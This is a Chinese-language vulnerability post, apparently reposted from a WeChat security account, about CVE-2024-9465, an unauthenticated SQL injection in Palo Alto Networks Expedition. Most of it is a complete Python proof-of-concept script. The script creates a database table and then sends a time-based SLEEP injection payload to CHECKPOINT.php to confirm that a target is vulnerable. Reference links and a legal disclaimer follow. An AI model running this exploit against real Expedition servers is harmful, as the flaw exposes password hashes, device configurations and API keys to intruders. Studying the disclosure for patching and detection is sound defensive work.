0x00 前言
Palo Alto Networks Expedition 是一款强大的工具,帮助用户有效地迁移和优化网络安全策略,提升安全管理的效率和效果。它的自动化功能、策略分析和可视化报告使其在网络安全领域中成为一个重要的解决方案。
0x01 漏洞描述
漏洞允许未经验证的攻击者获取Expedition数据库内容,例如密码哈希、用户名、设备配置和设备API密钥,利用这一点,攻击者还可以在Expedition 系统上创建和读取任意文件。
0x02 CVE编号
CVE-2024-9465
0x03 影响版本
Palo Alto Networks Expedition>=1.2.96
0x04 漏洞详情
POC:
https://github.com/horizon3ai/CVE-2024-9465
#!/usr/bin/python3
import argparse
import requests
import urllib3
import sys
import time
urllib3.disable_warnings()
def create_checkpoint_table(url: str):
print(f'[*] Creating Checkpoint database table...')
data = {'action': 'get',
'type': 'existing_ruleBases',
'project': 'pandbRBAC',
}
r = requests.post(f'{url}/bin/configurations/parsers/Checkpoint/CHECKPOINT.php', data=data, verify=False, timeout=30)
if r.status_code == 200 and 'ruleBasesNames' in r.text:
print(f'[*] Successfully created the database table')
return
print(f'[-] Unexpected response creating table: {r.status_code}:{r.text}')
sys.exit(1)
def inject_checkpoint_query(url: str):
start_time = time.time()
print(f'[*] Injecting 10 second sleep payload into database query...')
data = {'action': 'import',
'type': 'test',
'project': 'pandbRBAC',
'signatureid': '1 AND (SELECT 1234 FROM (SELECT(SLEEP(10)))horizon3)',
}
r = requests.post(f'{url}/bin/configurations/parsers/Checkpoint/CHECKPOINT.php', data=data, verify=False, timeout=30)
execution_time = time.time() - start_time
if r.status_code == 200 and execution_time > 9 and execution_time < 15:
print(f'[*] Successfully sent injection payload!')
print(f'[+] Target is vulnerable, request took {execution_time} seconds')
return
print(f'[-] Unexpected response sending injection payload: {r.status_code}:{r.text}')
sys.exit(1)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='The URL of the target', type=str, required=True)
args = parser.parse_args()
create_checkpoint_table(args.url)
inject_checkpoint_query(args.url)
0x05 参考链接
https://github.com/horizon3ai/CVE-2024-9465
https://security.paloaltonetworks.com/PAN-SA-2024-0010
原文始发于微信公众号(信安百科):CVE-2024-9465|Palo Alto Networks Expedition 未授权SQL注入漏洞(POC)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论